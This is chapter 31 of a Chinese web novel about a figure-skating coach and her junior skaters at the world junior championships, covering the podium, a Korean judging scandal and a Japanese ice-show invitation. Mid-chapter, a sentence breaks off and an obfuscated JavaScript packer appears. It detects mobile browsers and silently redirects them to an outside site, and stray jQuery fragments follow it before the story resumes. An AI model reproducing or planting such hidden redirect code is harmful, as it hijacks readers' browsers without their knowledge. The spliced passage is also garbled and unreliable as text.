31.冰演邀约

作品:《金牌教练【花滑】

    男单领奖台的三位选手在下个赛季都要升组。


    藤原吉野在升组前如愿拿下世青赛的金牌,为自己的青年组画上了一个完美的句号。


    冯思迈去年还是替补选手,今年就站上了世青的台子,最重要的是,他踩了安德烈一头。


    虽说要是短节目其他选手崩得没那么厉害的话,他未必拿得到这枚银牌,但体育竞技一直都是实力、努力、和运气并存,他也不觉得自己这枚牌子拿得水。


    安德烈虽然被教练臭骂一顿,但好歹也是青年组大满贯,顶着这个名头升组,这场比赛的失误倒也显得没那么可惜了。


    三个孩子从领奖台上下来,直奔自己的教练,冯思迈摘下自己脖子上的银牌,直勾勾看着教练。


    夏月姿会意,笑着低下头,任由冯思迈为她戴上这枚银牌。


    孟欣也不吃味,在一旁举着手机记录下这一刻。


    她是后来才加入的,平时的训练计划也是夏月姿制定好后她再实施,要是让她选,她也会先给夏月姿。


    不过冯思迈小小年纪已经学会端水那一套了,把奖牌给夏教练戴上后,又把手里的捧花给了孟教练,拜托隔壁的山田教练为他们拍一张照片。


    山田教练用他的日式口音数着英文倒计时,看着屏幕里的华国小伙挽着自己的两位教练,露出灿烂的笑容。


    北京,李潭打开电视机,将频道从电视剧八台调到体育五台,上面正在重播今年的花滑世青赛。


    央视很少转播小众项目,这次是因为华国选手在世青赛上表现得好,再加上现在确实没什么热门比赛,这才上花滑混上了五台。


    赵姝华端着水果走过来,看着电视上重播的双人滑比赛,跟丈夫嘀咕:“世锦赛结束老姚他们就要退了,老陆这回也是逼了两个孩子一把。”


    李潭叹了口气,摸着自己的头发,觉得发际线又往后移了几公分:“这也是没办法的事,但凡我们国家梯队做得好点,也不至于把压力全放在青年组了。”


    华国梯队建设是老问题了,只要有冒出头的选手,就跟生产队的驴一样薅起来用,等这头驴伤了、老了,才开始寻找新的小驴。


    双人滑那对老将,就是这样抗了三个奥运周期,实在抗不住了,上头才把目光放在其他选手身上,猛然发现成年组没一个能接班的,这才让曹陆搭档紧急升组。


    情况相同的还有单人滑,但陆盈退了之后,女单还有姜舒雨顶着,男单之前一直没什么人,好不容易才在青年组里看到了点希望。


    至于冰舞更不用提了,成年组青年组一样糟糕,人才储备也是四项里最少的。


    赵姝华知道这个理,面上更愁了:“可话又说回来,别说咱们了,放眼全世界,真正能在花滑项目里做好梯队建设的国家,我一只手都数得过来。”


    梯队建设不仅要花时间和资源去培养,更重要的是人,没人愿意来,上头批再多的资金下来也没用啊。


    最典型的就是日韩两国。


    虽说成恩熙和白井奈奈子打得最火热的时候是温哥华周期,让一批年纪尚小的孩子开始接触这项运动,也刺激了国内的花滑市场,但早在2006年的都灵冬奥会上,日本女单就已经夺冠,为日本国内带来了不小的震撼。


    包括梦川里亚在内的日本选手,都曾坦言虽然之前自己已经接触了这项运动,但真正下定决定要成为一名运动员,是在看了都灵冬奥会之后。


    只是到目前为止,华国还没有出现这种能推动国内项目发展的顶级选手。


    “算了,不说这些事了,你的isu级裁判证下来了吧?”


    李潭捏着眉心,摆出一副头疼的模样,扭头看见赵姝华面上带笑,想到她七月份参加的那场裁判考级。


    isu级裁判员属于花滑比赛里的最高等级,可以执裁所有花滑赛事,赵姝华之前是花滑四项的国际级裁判,只能执裁A级赛以下的比赛和青年组、成年组的大奖赛,除此之外,她还考了技术监督。


    赵姝华咬着苹果,斜了他一眼:“终于想起来恭喜我了,这几天光看你往韩国打电话恭喜去了。”


    听出话里的不对劲,李潭赶忙赔不是,还说今晚要多做几个菜庆祝。


    赵姝华看着电视上的几个孩子,掩下了眼底的愁绪,她下个赛季就可以在A级赛事里见到华国的选手了。


    可她也明白,想要赛场公平,就跟想要世界和平一样难,赛场的话语权永远都掌握在那几个国家的手里,她即使上了裁判席,也帮不了太多。


    她只能带着一颗公正的心,不失偏颇地进行打分。


    世青赛表演滑开始之前,韩国滑协在推特上发布声明,承认金敏恩教练与裁判之间确实存在不正当交易,撤销其终生执教资格并拉入黑名单。


    同时还指出了牵涉其中的多名裁判及选手父母,名单里首当其冲的就是崔允书,最后还带着大部分机关单位的结语——感谢大家的关注,后续调查情况将即使通报。


    但稍微熟悉这种套路的人都清楚,一般出现这种话的通报,都很少会有后续调查结果。


    夏月姿看到这则声明的时候,其实还算满意,别看这则声明写得公正无私,韩协心里怕是把这群多管闲事的记者还有举报者骂了无数遍。


    不过他们这次也是伤筋动骨了,毕竟名单里也有不少正在培养的裁判和选手,其中还有不少韩协官员,夏月姿也就不计较韩协那点小心思了。


    世青赛的表演滑没有总决赛的上座率高,大部分人还是认为青年组的孩子表演能力还没成熟,但并不妨碍各国选手之间的社交。


    总决赛的人数没有世青赛多,能见到人物其实很少,但世青赛聚集了绝大多数国家的选手,一些只能在体育新闻里听到的人也会出现在这里。


    教练组里稍微有点名气的,都会领着自家孩子去其他知名教练那里露个脸,说不定未来有一天出去外训或转组的时候,就拜在这些教练的名下,运气好的还能捞着点冰演表演什么的。


    日本的千岛女士就是在这个时候向夏月姿发出了冰演邀请。


    世界范围内的冰演市场主要有三家——俄罗斯、美国、日本。


    俄罗斯冰雪资源丰厚,冰上项目在他们国家一项知名度广且深受欢迎。


    美国的冰演市场发


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15880881|172271||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    展过程跟营销号起号有得一比。


    据说在1998年的冬奥会之前,美国两位花滑名将闹得不可开交,甚至出现了运动员恶意断腿事件,美国在冬奥会开始前拼命造势这两位运动员的纠葛,让冬奥会当天的收视率超过了橄榄球的超级碗,还国际滑联内部反感至极。


    最终那位腿部受伤的运动员摘得了银牌,并在颁奖典礼上上演变脸绝活,但由于这件事过于轰动,直接成就了北美十多年的冰演黄金期。


    日本由于有闲又有钱的家庭主妇太多,冰演市场十分庞大,现在乃至未来很长一段时间,都和美国、俄罗斯齐驱并进,甚至有压过美国的势头。


    面对夏月姿和她身后的两个孩子,千岛女士笑得十分和气。


    日本的主要冰演有两场,每场都由本国著名的花滑运动员担任固定座长。


    所谓座长,简单来说就是冰演的主要领导者,同时冰演结束后座长可以分得一部分的冰演分红。


    千岛女士的学生白井奈奈子就是座长之一,她在世青赛结束后就询问过这位学生的意见,白井在备战世锦赛的同时,也观看了今年世青赛,对华国两位选手的表现感到十分惊喜,并表示,她愿意给出青年组选手的最高价格。


    参加冰演的好处不少,最直接的就是钱和名气,同时还有潜在的品牌方在冰演上找选手代言。


    夏月姿低头看着两个孩子,用日语说:“我并不是这两个孩子的监护人,具体情况还要问过他们的家长。”


    千岛女士表示理解,并跟夏月姿交换了联系方式。


    青年组的表演滑虽然没有成年组成熟,但胜在欢乐多,不少选手都和杨依雁一样,穿上了自己喜欢角色的衣服。


    首当其冲的就是日本选手,齐刷刷地在冰上COS起海贼王的角色。


    藤原吉野戴着草帽领着其他男选手上场时,夏月姿都瞪大了眼睛,仔细看,还有一位冰舞选手扮成了乔巴。


    但日本选手应该没聊到一起,因为后面上场的女选手们穿起了魔法少女的战斗服,梦川里亚带着一顶金黄色的假发,单手叉腰比耶,唤醒了不少亚洲孩子的童年记忆,场边的欢呼声越来越大。


    团舞的时候,杨依雁和冯思迈是一起上场的,两位的表演滑选取的都是美国元素,冰上popping也引得一阵叫好,把美国本土选手吸引上去。


    妮娜的考斯滕也是白色,揽着杨依雁慢慢往前滑,杨依雁的头纱飘起,遮住了两人的脑袋,在昏暗的灯光下远远看去,如同两个逃婚的新娘,留下两位男单选手驻足。


    不少冰迷把这一幕戏称为“被艾米丽和未婚妻抛弃的维克多”。


    夏月姿站在挡板外,看着眼前和谐的一幕,忽然手机震动几声,她拿出来一看,发现是杨母的消息。


    “冰演可以去,但暑假作业也要一起带去。”


    千岛女士的冰演邀约在七月份,那时冯思迈已经中考结束了,可以去日本撒开脚丫子玩,但杨依雁就要开始中考的长征了。


    夏月姿忍住笑,看向冰场,丝毫不知道这个噩耗的小雁选手还在帮妮娜整理裙摆,脸上挂着幸福的笑容。